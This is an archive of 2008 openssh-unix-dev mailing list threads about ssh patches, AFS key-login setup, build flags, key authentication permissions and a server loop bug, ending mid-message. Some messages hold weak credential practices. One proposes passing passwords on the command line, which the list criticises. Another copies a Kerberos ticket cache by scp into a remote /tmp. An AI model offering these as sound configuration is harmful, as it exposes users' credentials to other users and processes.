From f.e.negroni at googlemail.com Tue Jun 3 18:45:53 2008 From: f.e.negroni at googlemail.com (Filippo Erik Negroni) Date: Tue, 3 Jun 2008 09:45:53 +0100 Subject: How to make patch available to the general public Message-ID: Hi All, I have a patch for the ssh client, which enables clear text password input from the command line. I want to make it available to the general public. Is there a place to make the patch available from, such as a wiki website? Shall I just post it to the mailing list? It is a small patch (9KB). -- Cheers, Filippo From dtucker at zip.com.au Tue Jun 3 21:18:19 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Tue, 03 Jun 2008 21:18:19 +1000 Subject: How to make patch available to the general public In-Reply-To: References: Message-ID: <4845287B.9000103@zip.com.au> Filippo Erik Negroni wrote: > Hi All, > > I have a patch for the ssh client, which enables clear text password > input from the command line. > I want to make it available to the general public. > Is there a place to make the patch available from, such as a wiki website? > Shall I just post it to the mailing list? > It is a small patch (9KB). Traditionally small patches can be either posted to the list or posted to a web page somewhere. That said, allowing clear text passwords on the command line is a bad idea, because on many (most?) systems, the command line arguments are readable by any other process running on the system (not to mention shell command history files). So, please don't do that. A better approach would be generalizing SSH_ASKPASS so it can be used even if there's a controlling tty. This way the password is passed over a descriptor. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From gert at greenie.muc.de Tue Jun 3 22:24:41 2008 From: gert at greenie.muc.de (Gert Doering) Date: Tue, 3 Jun 2008 14:24:41 +0200 Subject: How to make patch available to the general public In-Reply-To: <4845287B.9000103@zip.com.au> References: <4845287B.9000103@zip.com.au> Message-ID: <20080603122441.GX426@greenie.muc.de> Hi, On Tue, Jun 03, 2008 at 09:18:19PM +1000, Darren Tucker wrote: > A better approach would be generalizing SSH_ASKPASS so it can be used > even if there's a controlling tty. This way the password is passed over > a descriptor. That would be quite useful indeed. gert -- USENET is *not* the non-clickable part of WWW! //www.muc.de/~gert/ Gert Doering - Munich, Germany gert at greenie.muc.de fax: +49-89-35655025 gert at net.informatik.tu-muenchen.de From f.e.negroni at googlemail.com Wed Jun 4 01:22:52 2008 From: f.e.negroni at googlemail.com (Filippo Erik Negroni) Date: Tue, 3 Jun 2008 16:22:52 +0100 Subject: How to make patch available to the general public In-Reply-To: <20080603122441.GX426@greenie.muc.de> References: <4845287B.9000103@zip.com.au> <20080603122441.GX426@greenie.muc.de> Message-ID: Thanks guys, I will look into that. At the moment my patch does two things: 1. Allows a '-z' option on the command line to pass the password as an argument: I guess we could make that the descriptor number where to read the password from 2. It alters the authentication order in the authentication list structure to allow clear text password to be at the top of the list if -z is specified. This had to be done in order to allow clear text to superseed any other available authentication methods. The reason behind the patch was to do with the way the ssh server impersonates a user on Windows, making it impossible to run a remote build session. I will try and improve my patch to allow for the change you suggested and will then post it here. Thank you. 2008/6/3 Gert Doering : > Hi, > > On Tue, Jun 03, 2008 at 09:18:19PM +1000, Darren Tucker wrote: >> A better approach would be generalizing SSH_ASKPASS so it can be used >> even if there's a controlling tty. This way the password is passed over >> a descriptor. > > That would be quite useful indeed. From mouring at eviladmin.org Wed Jun 4 14:17:20 2008 From: mouring at eviladmin.org (Ben Lindstrom) Date: Tue, 3 Jun 2008 23:17:20 -0500 (CDT) Subject: How to make patch available to the general public In-Reply-To: References: <4845287B.9000103@zip.com.au> <20080603122441.GX426@greenie.muc.de> Message-ID: On Tue, 3 Jun 2008, Filippo Erik Negroni wrote: [..] > The reason behind the patch was to do with the way the ssh server > impersonates a user on Windows, making it impossible to run a remote > build session. > [..] I'm sorry, but I have to ask this.... What does that above statement mean? What issue are you working around that should be resolved correctly instead of this hack? Also, if you set a password via commandline (or via ASK_PASS extention) you should only define password authentication as your possible "PreferredAuthentications" your client will talk. Plus this will not work with keyboard-interactive. Which needs to be clearly stated within the patch. - Ben From arie at imperva.com Wed Jun 4 02:21:04 2008 From: arie at imperva.com (Arie Blumenzweig) Date: Tue, 3 Jun 2008 19:21:04 +0300 Subject: FIPS 140-2 OpenSSL(2007) patches Message-ID: <49012C157722E1469846B703E66F67789A715F@Petunia.il.imperva.com> Hi Oren, I'd VERY MUCH appreciate if you could send me a unified patch file for openssh with fips. In the meanwhile I'll try to work with the ones you posted. BTW, I'm CentOS-5.1 based. My native openssh is 4.3p2. Do you think your patch may be valid for that baseline as well? Could you make one? I know this is a lot to ask for. Are there any other alternatives? Many thanks, - Arie From Laatsch at uni-koeln.de Thu Jun 5 03:04:27 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Wed, 4 Jun 2008 19:04:27 +0200 (MEST) Subject: Openssh + AFS, easy solution In-Reply-To: <483F06FB.5030103@anl.gov> Message-ID: Checking out key-login further lead me to this solution. - Put the authorized_keys to $HOME/public/authorized_keys (read access for anybody) - Added to sshd_config: AuthorizedKeysFile %h/public/authorized_keys AuthorizedKeysfile2 %h/.ssh/authorized_keys - Have an id_rsa.pub line enabled in authorized_keys Now i could login with ssh-key. But the homedir in afs would be inaccessible. The remedy can be done in a two step approach: - Send my ticket by ssh/scp and key to the host's /tmp/ - login per ssh and key: 'pam_auth' was skipped by sshd 'pam_account sufficient' checks my ticket by refreshing (kinit -R) 'pam_account required' else does exec 'kinit -r 1day' to get a refreshable ticket 'pam_session sufficient' now gets me a token (gssklog) My Pam-Module always sets a PAG for non-root accounts and throws the ticket away as soon as possible (just use it to get a token). This could also be extended to allow tickets from another realm without cross realm/cell setup. Pam just gets user at realm from the ticket; if that realm is allowed, it requests a refresh from that realms kdc. Best regards, Rainer Laatsch From avleen at gmail.com Thu Jun 5 19:50:20 2008 From: avleen at gmail.com (Avleen Vig) Date: Thu, 5 Jun 2008 10:50:20 +0100 Subject: Default Makefile doesn't link correctly (solaris 10 x86_64) Message-ID: <33c66c80806050250v1e4a4f07wfb341ddc481d639a@mail.gmail.com> On Solaris 10, I found that if $CC=gcc, and $LD=gcc, the following combination of things will cause problems: 1. Using gcc provided by Sun to make 64bit binaries 2. Setting CFLAGS=-m64 3. OpenSSL was compiled 64bit OpenSSH compiles up to the point of linking. Because $CFLAGS isn't used when linking, gcc is called without -m64. This causes the following fatal error: Wrong ELF class: ELFCLASS64 It is easily worked around by setting LDFLAGS=-m64, but I expect that will cause problems where $LD=ld. -- Sent from Gmail for mobile | mobile.google.com From dtucker at zip.com.au Fri Jun 6 00:25:40 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Fri, 06 Jun 2008 00:25:40 +1000 Subject: Default Makefile doesn't link correctly (solaris 10 x86_64) In-Reply-To: <33c66c80806050250v1e4a4f07wfb341ddc481d639a@mail.gmail.com> References: <33c66c80806050250v1e4a4f07wfb341ddc481d639a@mail.gmail.com> Message-ID: <4847F764.7030406@zip.com.au> Avleen Vig wrote: > On Solaris 10, I found that if $CC=gcc, and $LD=gcc, the following > combination of things will cause problems: > > 1. Using gcc provided by Sun to make 64bit binaries > 2. Setting CFLAGS=-m64 > 3. OpenSSL was compiled 64bit > > OpenSSH compiles up to the point of linking. Because $CFLAGS isn't > used when linking, gcc is called without -m64. > This causes the following fatal error: > Wrong ELF class: ELFCLASS64 configure takes your word for it when you specify CC and LD yourself, so it's up to you to give it ones that work (including any necessary flags). > It is easily worked around by setting LDFLAGS=-m64, but I expect that > will cause problems where $LD=ld. or CC="gcc -m64" and letting configure work out LD for itself. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From stuge-openssh-unix-dev at cdy.org Sat Jun 7 06:24:44 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 6 Jun 2008 22:24:44 +0200 Subject: How to make patch available to the general public In-Reply-To: References: <4845287B.9000103@zip.com.au> <20080603122441.GX426@greenie.muc.de> Message-ID: <20080606202444.32269.qmail@cdy.org> On Tue, Jun 03, 2008 at 11:17:20PM -0500, Ben Lindstrom wrote: > Plus this will not work with keyboard-interactive. Would it be too ugly to make that fd-interactive? Ie. twoway comm on the fd when using keyboard-interactive? What about SSH_ASKPASS in that case? //Peter From Laatsch at uni-koeln.de Sun Jun 8 10:17:53 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Sun, 8 Jun 2008 02:17:53 +0200 (CEST) Subject: Openssh + AFS, ssh-key login working In-Reply-To: References: Message-ID: SSH key login and finally getting an AFS token can be made working like this. It uses the feature of the shell to include a .bashrc or .kshrc upon every reexec of the shell. - move all .profiles to a public subdir ( $HOME/public ) ; AFS acl's "system:anyuser rl" - make links from $HOME/ to these -> $HOME/public/ - move authorized_keys from .ssh/ to $HOME/public/authorized_keys - make link .ssh/authorized_keys to $HOME/public/authorized_keys - for $HOME and $HOME/.ssh, the acl's "?LOGNAME all system:anyuser none" may be left like that (no change whatever). Thats all for the setup. Have a key made: - ssh-keygen -N '' ... (say into .ssh/id_rsa) - cat .ssh/id_rsa.pub >> $HOME/public/authorized_keys This is the point: Add in front of your .bashrc / .kshrc # --- [ "$PAGSHDONE" ==""] && export PAGSHDONE=true && exec /usr/afsws/bin/pagsh -c "exec $SHELL" [ "$TOKENDONE" == "" ] && export TOKENDONE=true && /opt/krb5/bin/gssklog # or aklog, whatever Now always ssh to $host in 2 steps: scp /tmp/krb5cc_$uid $host && ssh $host To remedy the case of leftover tickets, the end of your .bashrc / .kshrc may read # --- tty -s || kdestroy #throw away when interactive; does not influence scp Best regards, Rainer Laatsch From Laatsch at uni-koeln.de Sun Jun 8 10:36:36 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Sun, 8 Jun 2008 02:36:36 +0200 (MEST) Subject: [Correction] Openssh + AFS, ssh-key login working In-Reply-To: Message-ID: > Now always ssh to $host in 2 steps: > scp /tmp/krb5cc_$uid $host && > ssh $host Should be: scp -p /tmp/krb5cc_$uid $host:/tmp/krb5cc_$uid && ssh $host > To remedy the case of leftover tickets, the end of your .bashrc / .kshrc > may read > # --- > tty -s || kdestroy #throw away when interactive; does not influence scp Should be: tty -s && kdestroy #throw away when interactive; does not influence scp Best regards, Rainer Laatsch From kannappan at tesbv.com Mon Jun 9 23:57:16 2008 From: kannappan at tesbv.com (kannappan) Date: Mon, 9 Jun 2008 19:27:16 +0530 Subject: Problem in RSA Key authentication In-Reply-To: Message-ID: <005f01c8ca38$bce39570$8200140a@Kanslaptop> Hello Damien, I am using OpenSSH-5.0 on my ARM board. I want to perform RSA authentication, but server is not accepting the key generated by the client. I have copied the authorized_keys in the "$HOME/.ssh/" folder and provided permission (755) to that folder. Please help me how to solve this problem. Following is the log from the client OpenSSH_4.3p2, OpenSSL 0.9.8b 04 May 2006 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Connecting to 10.20.0.183 [10.20.0.183] port 22. debug1: Connection established. debug1: identity file /home/jac/.ssh/identity type -1 debug1: identity file /home/jac/.ssh/id_rsa type 1 debug1: identity file /home/jac/.ssh/id_dsa type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.0 debug1: match: OpenSSH_5.0 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_4.3 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-cbc hmac-md5 none debug1: kex: client->server aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host '10.20.0.183' is known and matches the RSA host key. debug1: Found key in /home/jac/.ssh/known_hosts:1 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password,keyboard-interactive debug1: Next authentication method: publickey debug1: Trying private key: /home/jac/.ssh/identity debug1: Offering public key: /home/jac/.ssh/id_rsa debug1: Authentications that can continue: publickey,password,keyboard-interactive debug1: Trying private key: /home/jac/.ssh/id_dsa debug1: Next authentication method: keyboard-interactive debug1: Authentications that can continue: publickey,password,keyboard-interactive debug1: Next authentication method: password root at 10.20.0.183's password: ~Kans. -----Original Message----- From: openssh-unix-dev-bounces+kannappan=tesbv.com at mindrot.org [mailto:openssh-unix-dev-bounces+kannappan=tesbv.com at mindrot.org] On Behalf Of openssh-unix-dev-request at mindrot.org Sent: Saturday, May 10, 2008 2:16 AM To: openssh-unix-dev at mindrot.org Subject: openssh-unix-dev Digest, Vol 61, Issue 4 Send openssh-unix-dev mailing list submissions to openssh-unix-dev at mindrot.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev or, via email, send a message with subject or body 'help' to openssh-unix-dev-request at mindrot.org You can reach the person managing the list at openssh-unix-dev-owner at mindrot.org When replying, please edit your Subject line so it is more specific than "Re: Contents of openssh-unix-dev digest..." Today's Topics: 1. ssh works, but sftp doesn't (kannappan) 2. Re: ssh works, but sftp doesn't (Damien Miller) 3. RE: ssh works, but sftp doesn't (kannappan) 4. RE: ssh works, but sftp doesn't (Damien Miller) 5. RE: ssh works, but sftp doesn't (kannappan) 6. RE: ssh works, but sftp doesn't (Damien Miller) 7. Re: Request for generic engine support (Daniel Kahn Gillmor) ---------------------------------------------------------------------- Message: 1 Date: Fri, 9 May 2008 14:52:47 +0530 From: "kannappan" Subject: ssh works, but sftp doesn't To: Message-ID: <005b01c8b1b6$42138980$8200140a at Kanslaptop> Content-Type: text/plain; charset="us-ascii" Hello All, I have built the OpenSSH provided with the "buildroot" package for ARM board. OpenSSH version is openssh-4.7p1. After starting the SSHD, I am able to ssh to my ARM board, from my PC, but SFTP fails. Attached is the log I got from the daemon. Any help is appreciated. Thanks, Kans. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: sshlog.txt Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080509 /6a63ae2a/attachment-0001.txt ------------------------------ Message: 2 Date: Fri, 9 May 2008 19:55:20 +1000 (EST) From: Damien Miller Subject: Re: ssh works, but sftp doesn't To: kannappan Cc: openssh-unix-dev at mindrot.org Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 9 May 2008, kannappan wrote: > Hello All, > > I have built the OpenSSH provided with the "buildroot" package for ARM > board. OpenSSH version is openssh-4.7p1. > > After starting the SSHD, I am able to ssh to my ARM board, from my PC, > but SFTP fails. > > Attached is the log I got from the daemon. Any help is appreciated. For some reason your sftp-server is exiting immediately. Check that /usr/sbin/sftp-server exists, is executable and doesn't crash when executed. For a better test of sftp-server, you can run it directly from sftp: "sftp -P /usr/sbin/sftp-server blah" -d ------------------------------ Message: 3 Date: Fri, 9 May 2008 17:51:18 +0530 From: "kannappan" Subject: RE: ssh works, but sftp doesn't To: , "'Damien Miller'" Message-ID: <006501c8b1cf$321dcea0$8200140a at Kanslaptop> Content-Type: text/plain; charset="us-ascii" Hi Damien, It seems that sftp-server is working. I have performed the following: [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 Attaching to /usr/sbin/sftp-server... sftp> ls Please suggest me some other options. Thanks, Kans. -----Original Message----- From: Damien Miller [mailto:djm at mindrot.org] Sent: Friday, May 09, 2008 3:25 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: Re: ssh works, but sftp doesn't On Fri, 9 May 2008, kannappan wrote: > Hello All, > > I have built the OpenSSH provided with the "buildroot" package for ARM > board. OpenSSH version is openssh-4.7p1. > > After starting the SSHD, I am able to ssh to my ARM board, from my PC, > but SFTP fails. > > Attached is the log I got from the daemon. Any help is appreciated. For some reason your sftp-server is exiting immediately. Check that /usr/sbin/sftp-server exists, is executable and doesn't crash when executed. For a better test of sftp-server, you can run it directly from sftp: "sftp -P /usr/sbin/sftp-server blah" -d ------------------------------ Message: 4 Date: Fri, 9 May 2008 22:58:01 +1000 (EST) From: Damien Miller Subject: RE: ssh works, but sftp doesn't To: kannappan Cc: openssh-unix-dev at mindrot.org Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > It seems that sftp-server is working. > > I have performed the following: > > [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 > Attaching to /usr/sbin/sftp-server... > sftp> ls > > Please suggest me some other options. Can it be executed by whichever user you are logging in as? -d ------------------------------ Message: 5 Date: Fri, 9 May 2008 18:45:37 +0530 From: "kannappan" Subject: RE: ssh works, but sftp doesn't To: , "'Damien Miller'" Message-ID: <006d01c8b1d6$c8a2a880$8200140a at Kanslaptop> Content-Type: text/plain; charset="us-ascii" Hi Damien, Yeap. I am able to execute that command(sftp -P /usr/sbin/sftp-server 10.20.0.183) for any users. Regards, Kans. -----Original Message----- From: Damien Miller [mailto:djm at mindrot.org] Sent: Friday, May 09, 2008 6:28 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: RE: ssh works, but sftp doesn't On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > It seems that sftp-server is working. > > I have performed the following: > > [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 > Attaching to /usr/sbin/sftp-server... > sftp> ls > > Please suggest me some other options. Can it be executed by whichever user you are logging in as? -d ------------------------------ Message: 6 Date: Sat, 10 May 2008 00:13:11 +1000 (EST) From: Damien Miller Subject: RE: ssh works, but sftp doesn't To: kannappan Cc: openssh-unix-dev at mindrot.org Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > Yeap. I am able to execute that command(sftp -P /usr/sbin/sftp-server > 10.20.0.183) for any users. Sorry, I don't have any idea what is going wrong. Some more things for you to try: 1. Run sftp server directly from a ssh client, what happends? ssh yourhost /usr/sbin/sftp-server 2. Change the SubSystem declaration in the server to point to a different program instead of /usr/sbin/sftp-server and repeat test #1 - does this work? 3. Rebuild OpenSSH from pristine sources (making sure you are using the latest version - 5.0). Does this help? 4. Rebuild sftp-server and insert a sleep() call at the start so you can attach a debugger to it. 5. Try the new sshd_config "internal-sftp" subsystem (in openssh-5.0). -d ------------------------------ Message: 7 Date: Fri, 09 May 2008 16:46:03 -0400 From: Daniel Kahn Gillmor Subject: Re: Request for generic engine support To: "openssh-unix-dev\@mindrot.org" Message-ID: <87prrv1a0k.fsf at squeak.fifthhorseman.net> Content-Type: text/plain; charset="us-ascii" A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080509 /7941dead/attachment.bin ------------------------------ _______________________________________________ openssh-unix-dev mailing list openssh-unix-dev at mindrot.org https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev End of openssh-unix-dev Digest, Vol 61, Issue 4 *********************************************** From dtucker at zip.com.au Tue Jun 10 00:19:01 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Mon, 09 Jun 2008 08:19:01 -0600 Subject: Problem in RSA Key authentication In-Reply-To: <005f01c8ca38$bce39570$8200140a@Kanslaptop> References: <005f01c8ca38$bce39570$8200140a@Kanslaptop> Message-ID: <484D3BD5.2090607@zip.com.au> kannappan wrote: > Hello Damien, > > I am using OpenSSH-5.0 on my ARM board. I want to perform RSA > authentication, but server is not accepting the key generated by the > client. I have copied the authorized_keys in the "$HOME/.ssh/" folder > and provided permission (755) to that folder. Please help me how to > solve this problem. > > Following is the log from the client The log that is likely to have useful information is on the server. Try running sshd in debug mode (eg "/path/to/sshd -ddd -p 222" and point your client at port 222). The usual cause of pubkey not being accepted is the permissions of the .ssh/ directory (which you mention you have checked) and the permissions of the user's home directory (which you didn't mention). -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From mlcreech at gmail.com Tue Jun 10 06:22:52 2008 From: mlcreech at gmail.com (Matthew L. Creech) Date: Mon, 9 Jun 2008 16:22:52 -0400 Subject: DESTDIR usage Message-ID: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> Hi, I've been patching OpenSSH [portable] so that I can override DESTDIR when cross-compiling. Is there any reason not to allow this in the general case? Thanks! -- Matthew L. Creech From djm at mindrot.org Tue Jun 10 07:26:40 2008 From: djm at mindrot.org (Damien Miller) Date: Tue, 10 Jun 2008 07:26:40 +1000 (EST) Subject: DESTDIR usage In-Reply-To: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> References: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> Message-ID: On Mon, 9 Jun 2008, Matthew L. Creech wrote: > Hi, > > I've been patching OpenSSH [portable] so that I can override DESTDIR > when cross-compiling. Is there any reason not to allow this in the > general case? Thanks! I don't follow - you can always override DESTDIR: make DESTDIR=/tmp/foo install -d From mlcreech at gmail.com Tue Jun 10 07:38:03 2008 From: mlcreech at gmail.com (Matthew L. Creech) Date: Mon, 9 Jun 2008 17:38:03 -0400 Subject: DESTDIR usage In-Reply-To: References: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> Message-ID: <5ee96a840806091438q1587f2acxa4457e2b08b3fb50@mail.gmail.com> On Mon, Jun 9, 2008 at 5:26 PM, Damien Miller wrote: > > I don't follow - you can always override DESTDIR: > > make DESTDIR=/tmp/foo install > Oh, I thought "DESTDIR=/tmp/foo make install" was equivalent, but apparently not. So disregard my pointless patch - you learn something new every day, thanks! :) -- Matthew L. Creech From openssh at roumenpetrov.info Tue Jun 10 07:24:10 2008 From: openssh at roumenpetrov.info (Roumen Petrov) Date: Tue, 10 Jun 2008 00:24:10 +0300 Subject: DESTDIR usage In-Reply-To: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> References: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> Message-ID: <484D9F7A.2000306@roumenpetrov.info> Matthew L. Creech wrote: > Hi, > > I've been patching OpenSSH [portable] so that I can override DESTDIR > when cross-compiling. Is there any reason not to allow this in the > general case? Thanks! What is general case ? Did you have problem with make install DESTDIR=/some_path without to patch ? Roumen From kannappan at tesbv.com Tue Jun 10 21:20:31 2008 From: kannappan at tesbv.com (kannappan) Date: Tue, 10 Jun 2008 16:50:31 +0530 Subject: Problem in RSA Key authentication In-Reply-To: <484D3BD5.2090607@zip.com.au> Message-ID: <003a01c8caec$01bdd5d0$8200140a@Kanslaptop> Hello Darren, There were problems with the permission in accessing the home folder (/root). With other users I am able to connect with the RSA key. Thanks for the inputs. ~Kans. -----Original Message----- From: Darren Tucker [mailto:dtucker at zip.com.au] Sent: Monday, June 09, 2008 7:49 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: Re: Problem in RSA Key authentication kannappan wrote: > Hello Damien, > > I am using OpenSSH-5.0 on my ARM board. I want to perform RSA > authentication, but server is not accepting the key generated by the > client. I have copied the authorized_keys in the "$HOME/.ssh/" folder > and provided permission (755) to that folder. Please help me how to > solve this problem. > > Following is the log from the client The log that is likely to have useful information is on the server. Try running sshd in debug mode (eg "/path/to/sshd -ddd -p 222" and point your client at port 222). The usual cause of pubkey not being accepted is the permissions of the .ssh/ directory (which you mention you have checked) and the permissions of the user's home directory (which you didn't mention). -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From bob at proulx.com Wed Jun 11 02:51:58 2008 From: bob at proulx.com (Bob Proulx) Date: Tue, 10 Jun 2008 10:51:58 -0600 Subject: DESTDIR usage In-Reply-To: <5ee96a840806091438q1587f2acxa4457e2b08b3fb50@mail.gmail.com> References: <5ee96a840806091322i2fc08398i40d2f62d68b017bb@mail.gmail.com> <5ee96a840806091438q1587f2acxa4457e2b08b3fb50@mail.gmail.com> Message-ID: <20080610165158.GA32242@dementia.proulx.com> Matthew L. Creech wrote: > > make DESTDIR=/tmp/foo install > > Oh, I thought "DESTDIR=/tmp/foo make install" was equivalent, but > apparently not. The 'make VARIABLE=value' form is interpreted by make itself as a variable and overrides variables in the Makefile. The other form 'VARIABLE=value command' is a shell variable assignment for just that one specific command. In this case since 'make' is the command this would modify the environment passed to make. The shell interprets the assignment and sets up a modified environment for that command. But it is only an environment variable at that point and not yet a make variable. There is an option to force environment variables to override Makefile variables but since that isn't what you want to do here I won't mention it by name and possibly distract someone. Note that 'VARIABLE=value command' is a Bourne/POSIX syntax and doesn't work for csh users. Therefore it isn't considered a universal syntax. The 'env' command is used when instructions to set environment variables for a single command need to be shell independent. With 'env VARIABLE=value command' then the env command interprets the assignment and creates an environment to pass along to the command process and is independent of whichever shell the user is running at the time. In summary: You really did want the 'make VARIABLE=value' form. Bob From scott_n at xypro.com Wed Jun 11 07:13:05 2008 From: scott_n at xypro.com (Scott Neugroschl) Date: Tue, 10 Jun 2008 14:13:05 -0700 Subject: ibuf_empty delayed efd Message-ID: <78DD71C304F38B41885A242996B96F730184F5EB@xyservd.XYPRO-23.LOCAL> I'm seeing something unusual in 5.0p1. Let me start by saying that I'm on kind of an oddball system (HP NonStop). What I'm seeing is that at the end of an scp session, the server gets stuck in a loop. First I see a shutdown failure, followed by looping on an "ibuf_empty delayed efd 9/(0)" condition. This may have to do with some minor semantic differences in the way the NonStop socket layer works, as opposed to stock XPG4 or BSD sockets. What I'm really concerned about is the looping. Debugging output excerpted below. -- begin excerpt debug2: channel 0: rcvd adjust 131072 debug2: channel 0: read<=0 rfd 7 len 0 debug2: channel 0: read failed debug2: channel 0: close_read debug2: channel 0: input open -> drain debug2: channel 0: ibuf_empty delayed efd 9/(0) debug2: channel 0: read 0 from efd 9 debug2: channel 0: ibuf_empty delayed efd 9/(0) debug2: notify_done: reading debug1: Received SIGCHLD. debug1: session_by_pid: pid 620560410 debug1: session_exit_message: session 0 channel 0 pid 620560410 debug2: channel 0: request exit-status confirm 0 debug1: session_exit_message: release channel 0 debug2: channel 0: write failed debug2: channel 0: close_write debug2: channel 0: chan_shutdown_write: shutdown() failed for fd7: Socket is not connected debug2: channel 0: output open -> closed debug2: channel 0: read 0 from efd 9 debug2: channel 0: ibuf_empty delayed efd 9/(0) debug2: channel 0: read 0 from efd 9 debug2: channel 0: ibuf_empty delayed efd 9/(0) debug2: channel 0: read 0 from efd 9 -- end excerpt ---- Scott Neugroschl XYPRO Technologies scott_n at xypro.com 805-583-2874 x121 From djm at mindrot.org Wed Jun 11 09:01:48 2008 From: djm at mindrot.org (Damien Miller) Date: Wed, 11 Jun 2008 09:01:48 +1000 (EST) Subject: ibuf_empty delayed efd In-Reply-To: <78DD71C304F38B41885A242996B96F730184F5EB@xyservd.XYPRO-23.LOCAL> References: <78DD71C304F38B41885A242996B96F730184F5EB@xyservd.XYPRO-23.LOCAL> Message-ID: On Tue, 10 Jun 2008, Scott Neugroschl wrote: > I'm seeing something unusual in 5.0p1. Let me start by saying that I'm > on kind of an oddball > system (HP NonStop). > > What I'm seeing is that at the end of an scp session, the server gets > stuck in a loop. > First I see a shutdown failure, followed by looping on an "ibuf_empty > delayed efd 9/(0)" condition. I'm not sure what is going wrong here, but could you please try a snapshot? We fixed a long-existing race in the efd handling @ close case and the fix may serendibitously fix your case :) Snapshots are at: http://www.mindrot.org/openssh_snap/ -d From scott_n at xypro.com Thu Jun 12 09:04:18 2008 From: scott_n at xypro.com (Scott Neugroschl) Date: Wed, 11 Jun 2008 16:04:18 -0700 Subject: FW: ibuf_empty delayed efd Message-ID: <78DD71C304F38B41885A242996B96F730184F6DE@xyservd.XYPRO-23.LOCAL> > -----Original Message----- Damien Miller, 6/10/08 said: > > On Tue, 10 Jun 2008, Scott Neugroschl wrote: > > > I'm seeing something unusual in 5.0p1. Let me start by saying that > I'm > > on kind of an oddball > > system (HP NonStop). > > > > What I'm seeing is that at the end of an scp session, the server gets > > stuck in a loop. > > First I see a shutdown failure, followed by looping on an "ibuf_empty > > delayed efd 9/(0)" condition. > > I'm not sure what is going wrong here, but could you please try a > snapshot? We fixed a long-existing race in the efd handling @ close > case and the fix may serendibitously fix your case :) > Is this race condition check the changes in channel_register_cleanup(), where c->istate and c->ostate are being interrogated? I'd really like to avoid having to add all the changes in channel.c (the queueing, changed external interfaces, etc...) if I could avoid it. From djm at mindrot.org Thu Jun 12 13:13:07 2008 From: djm at mindrot.org (Damien Miller) Date: Thu, 12 Jun 2008 13:13:07 +1000 (EST) Subject: FW: ibuf_empty delayed efd In-Reply-To: <78DD71C304F38B41885A242996B96F730184F6DE@xyservd.XYPRO-23.LOCAL> References: <78DD71C304F38B41885A242996B96F730184F6DE@xyservd.XYPRO-23.LOCAL> Message-ID: On Wed, 11 Jun 2008, Scott Neugroschl wrote: > > I'm not sure what is going wrong here, but could you please try a > > snapshot? We fixed a long-existing race in the efd handling @ close > > case and the fix may serendibitously fix your case :) > > > Is this race condition check the changes in channel_register_cleanup(), > where c->istate and c->ostate are being interrogated? > > I'd really like to avoid having to add all the changes in channel.c (the > queueing, changed external interfaces, etc...) if I could avoid it. I think this it is, though there may be other changes of relevance. It would probably be best if you tested a whole snapshot and then looked to extract specific changes if you find they work. -d From d.w.79 at web.de Fri Jun 13 02:42:29 2008 From: d.w.79 at web.de (Dennis Winter) Date: Thu, 12 Jun 2008 